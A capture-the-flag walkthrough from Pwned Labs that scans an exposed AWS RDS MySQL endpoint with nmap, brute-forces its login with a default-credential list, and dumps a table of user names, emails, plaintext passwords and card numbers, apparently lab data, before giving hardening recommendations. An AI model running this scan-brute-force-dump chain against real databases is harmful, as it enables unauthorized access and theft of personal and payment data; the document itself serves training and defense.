# Pillage Exposed RDS Instances

CTF Source: [Pwned Labs](https://pwnedlabs.io/labs/pillage-exposed-rds-instances)

## Overview

In this walkthrough, we're provided with a public RDS endpoint and asked to do a security assessment.&#x20;

## Pre-Requisites

* Install awscli: `(brew/apt) install awscli`
* Install nmap: `(brew/apt) install nmap`
* Install seclists: `(brew/apt) install seclists`
* Install mysql cli: `apt install mariadb-client-core`

## Walkthrough

### Discovering RDS

Given an RDS endpoint, we’re going to perform a port scan to identify potential database instances running.

```bash
nmap -Pn -p3306,5432,1433,1521 exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com

Nmap scan report for exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com (16.171.94.68)
Host is up (0.16s latency).
rDNS record for 16.171.94.68: ec2-16-171-94-68.eu-north-1.compute.amazonaws.com

PORT     STATE    SERVICE
1433/tcp filtered ms-sql-s
1521/tcp filtered oracle
3306/tcp open     mysql
5432/tcp filtered postgresql

Nmap done: 1 IP address (1 host up) scanned in 2.78 seconds
```

Now that we know of an open port let’s run some more tests with nmap.&#x20;

{% hint style="danger" %}
⁠Before running, it’s important to understand what we’re doing.
{% endhint %}

⁠`nmap -Pn -sV -p3306 --script=mysql-info exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com`

* `⁠-Pn`⁠ assumes the host is online so skips ping
* `⁠-sV`⁠ attempts to get the version of the service running on the port
* `⁠--script=mysql-info`⁠ is a “Safe” enumeration script
  * View details: `⁠nmap --script-help=mysql-info`⁠
  * Link in output: <https://nmap.org/nsedoc/scripts/mysql-info.html>
  * Link to code: <https://svn.nmap.org/nmap/scripts/mysql-info.nse>

```bash
Nmap scan report for exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com (16.171.94.68)
Host is up (0.15s latency).
rDNS record for 16.171.94.68: ec2-16-171-94-68.eu-north-1.compute.amazonaws.com

PORT     STATE SERVICE VERSION
3306/tcp open  mysql   MySQL 8.0.32
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.32
|   Thread ID: 199055
|   Capabilities flags: 65535
|   Some Capabilities: SwitchToSSLAfterHandshake, LongColumnFlag, Support41Auth, Speaks41ProtocolOld, SupportsTransactions, LongPassword, IgnoreSigpipes, FoundRows, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, SupportsLoadDataLocal, ODBCClient, InteractiveClient, SupportsCompression, ConnectWithDatabase, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
|   Status: Autocommit
|   Salt: 6]\x16\x03SS].:Y} 3KOUE@u"
|_  Auth Plugin Name: mysql_native_password
```

### Brute-Forcing MySQL

Now that we know the version of MySQL is `⁠8.0.32`⁠, we can view the [documentation](https://dev.mysql.com/doc/refman/8.0/en/default-privileges.html) and discover that unless the configuration was updated, the default username is: `⁠root`⁠ and it may not have a password. Let’s try to connect.

{% code overflow="wrap" %}

```bash
mysql -h exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com -u root --skip-password

ERROR 1045 (28000): Access denied for user 'root'@'71-33-139-184.hlrn.qwest.net' (using password: NO)
```

{% endcode %}

* `⁠-h`⁠ connect to a remote host, without this it will attempt to connect to a local mysql db
* `⁠-u`⁠ specify the username
* `⁠--skip-password`⁠ attempt authentication without a password

Bonus, there’s also an nmap script that will do the same as above `--script=mysql-empty-password`⁠ and also check for ⁠anonymous user.

No dice. Not to worry, we can attempt to brute-force the password.

Let’s first ensure we have a good password list e.g., `⁠mysql-betterdefaultpasslist.txt`

* If you have [Seclists](https://www.kali.org/tools/seclists/) installed, we can find this here `⁠ls -lh /usr/share/seclists/Passwords/Default-Credentials/ | grep mysql`

We’re going to use the nmap script [mysql-brute](https://nmap.org/nsedoc/scripts/mysql-brute.html). Looking over the documentation we know our creds file needs to be formatted a certain way,&#x20;

> a file containing username and password pairs delimited by '/'

\
Our file is currently delimited by `⁠:` so let’s fix that.

```
head -5 /usr/share/seclists/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt

root:mysql
root:root
root:chippc
admin:admin
root: 
```

\
We’ll copy this creds file to our local directory so we don’t butcher the original.&#x20;

`cp /usr/share/seclists/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt .`&#x20;

Then we’ll use `⁠sed`⁠ to change the `⁠:`⁠ to a `⁠/`⁠

```
sed -i 's/:/\//g' mysql-betterdefaultpasslist.txt
```

\
Now we can confirm the changes.&#x20;

```
head -5 ./mysql-betterdefaultpasslist.txt 

root/mysql
root/root
root/chippc
admin/admin
root/
```

\
We’re ready to run our brute-force attack!⁠

{% hint style="danger" %}
It’s important to understand that brute-forcing is noisy and may trigger an account lockout policy.
{% endhint %}

```
nmap -Pn -p3306 --script=mysql-brute --script-args brute.delay=10,brute.mode=creds,brute.credfile=./mysql-betterdefaultpasslist.txt exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com

Nmap scan report for exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com (16.171.94.68)
Host is up (0.30s latency).
rDNS record for 16.171.94.68: ec2-16-171-94-68.eu-north-1.compute.amazonaws.com

PORT     STATE SERVICE
3306/tcp open  mysql
| mysql-brute: 
|   Accounts: 
|     dbuser:123 - Valid credentials
|_  Statistics: Performed 23 guesses in 201 seconds, average tps: 0.0

Nmap done: 1 IP address (1 host up) scanned in 200.81 seconds
```

* `brute.delay=10` this increases the timeout, the default is set to `0` which may cause the script to fail to find any results

\
It looks like we found valid creds! `⁠dbuser:123`⁠. Let’s attempt to connect to MySQL with these.

```bash
mysql -h exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com -u dbuser -p    
Enter password: 

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 204271
Server version: 8.0.32 Source distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> 
```

Nice. We’re in! Let’s see what data there is.&#x20;

### Exfiltrating Data

Show the databases

```sql
MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| performance_schema |
| user_info          |
+--------------------+
3 rows in set (0.166 sec)
```

\
Select the database `⁠user_info`⁠ and view its tables

```sql
MySQL [(none)]> use user_info;

Database changed
MySQL [user_info]> show tables;
+---------------------+
| Tables_in_user_info |
+---------------------+
| flag                |
| users               |
+---------------------+
2 rows in set (0.153 sec)
```

\
Read the flag&#x20;

```sql
MySQL [user_info]> select * from flag;
+----------------------------------+
| flag                             |
+----------------------------------+
| e1c342[snip] |
+----------------------------------+
1 row in set (0.156 sec)
```

\
Read plaintext users data

```sql
MySQL [user_info]> select * from users;
+--------+---------------+----------------+--------------------------------------+--------------+-----------------+---------------------+
| userId | fname         | lname          | email                                | password     | ip_address      | creditcard          |
+--------+---------------+----------------+--------------------------------------+--------------+-----------------+---------------------+
|      1 | Erwin         | Eringey        | eeringey0@epa.gov                    | JQ6VoFjGT    | 244.218.113.151 | 3551222381964508    |
|      2 | Carolyne      | Koppens        | ckoppens1@scribd.com                 | YEclSnT3mZA  | 235.196.167.220 | 3565797270077680    |
|      3 | Isa           | Tapsell        | itapsell2@sbwire.com                 | Mrz5z7rB8J   | 100.112.175.106 | 6761958300756751    |
[snip]
```

## Wrap-Up

In this scenario, we were tasked with identifying security concerns on an AWS RDS instance and we discovered a few issues:

1. Database public exposure

   * The instance was publicly exposed and there are few use cases where this is needed
   * Recommendation:&#x20;
     * Turn off public access if possible&#x20;
     * If public access is required, consider restricting access via Security Groups to only approved IP addresses
     * Consider utilizing AWS IAM for [database authentication](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/database-authentication.html#iam-database-authentication) or integrating with AWS Secrets Manager for [password authentication](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/rds-secrets-manager.html)

2. Database authentication
   * The MySQL database utilized a weak password and was easily crackable with automated tools
   * Recommendation:

     * Consider utilizing AWS IAM for [database authentication](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/database-authentication.html#iam-database-authentication) or integrating with AWS Secrets Manager for [password authentication](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/rds-secrets-manager.html)
     * Utilize MySQL’s [password validation component](https://dev.mysql.com/doc/refman/8.0/en/validate-password-transitioning.html) to enforce strong passwords if authentication will continue to be handled by MySQL

3. Data security
   * The `⁠user_info`⁠ data in the MySQL database was not encrypted
   * Recommendation:
     * Consider [implementing encryption](https://aws.amazon.com/blogs/database/how-to-encrypt-database-columns-with-no-impact-on-your-application-using-aws-dms-and-baffle/) on the data&#x20;
